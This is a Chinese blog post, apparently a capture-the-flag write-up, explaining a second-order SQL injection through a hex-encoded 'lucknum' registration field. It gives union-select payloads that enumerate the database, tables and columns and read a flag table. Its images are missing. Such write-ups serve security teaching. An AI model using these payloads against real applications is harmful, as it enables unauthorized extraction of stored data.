当前位置:Gxlcms > 数据库问题 > 第九届极客大挑战——小帅的广告(二阶sql注入)

第九届极客大挑战——小帅的广告(二阶sql注入)

时间:2021-07-01 10:21:17 帮助过:20人阅读

into users(username,password,lucknum,whatsup) values(‘‘,‘‘,1,‘‘)

其中的username和password应该是经过安全处理,单引号无法逃逸,而lucknum只能输入数字,所以剩下whatsup可成为注入点,insert into 注入,但是出了点小意外,没有成功,暂时放一放...

 

几经折腾,终于把目光放在了这个luckynum上面。可能会疑惑luckynum只接受数字,怎么能构造sql语句呢,其实是可以用字符串的16进制来表示的,例如

技术分享图片

所以先在luckynum处构造一个单引号看看结果验证一下猜想

技术分享图片

技术分享图片

看到user info里面什么也没有,说明后台在查询我这个leixiao002用户时,sql语句是错误的,所以没有查到任何信息。

梳理一下逻辑

1.用户注册账号,填写密码及其他信息

insert into users(username,password,lucknum,whatsup) values(‘leixiao002‘,‘1‘,0x27,‘1‘)

2.用户用账号密码尝试登陆,后台用账号密码执行sql查询

select * from users where username=‘leixiao002‘ and password=‘1‘

3.查询到数据就进入登录界面并显示该用户信息

//显示username,luckynum,whatsup

这么看来并没有lucknum什么事,大不了显示出来lucknum就是一个单引号而已,为什么lucknum为单引号就出错呢,重新推测下处理逻辑如下,虽然我感觉不合理,但这应该是出题人故意留下的漏洞,全靠直觉...有错望指正。

1.用户注册账号,填写密码及其他信息

insert into users(username,password,lucknum,whatsup) values(‘leixiao002‘,‘1‘,0x27,‘1‘)

2.用户用账号密码尝试登陆,后台用账号密码执行sql查询,正确就进入登录界面

select * from users where username=‘leixiao002‘ and password=‘1‘

3.查询到数据luckynum的内容

lucknum=‘

4.再次执行查询

select * from users where username=‘leixiao002‘ and password=‘1‘ and luckynum=‘‘‘

5.如果4的语句正确就显示用户信息

看到4的sql语句最后面多了一个‘,所以出错。

 

依据4的语句,接着构造出

select * from users where username=leixiao00x and password=1 and luckynum=‘‘ union select 1,1,database()

技术分享图片

技术分享图片

技术分享图片

爆出了数据库名

 

接着再注册几个账号,逐步构造以下语句就可

1: ‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

2: ‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘#

3. ‘ union select 1,2,easyflag from fl4g#

技术分享图片

技术分享图片

技术分享图片

 

第九届极客大挑战——小帅的广告(二阶sql注入)

标签:HERE   学习   引号   账号密码   ref   为什么   and   出错   输入   

人气教程排行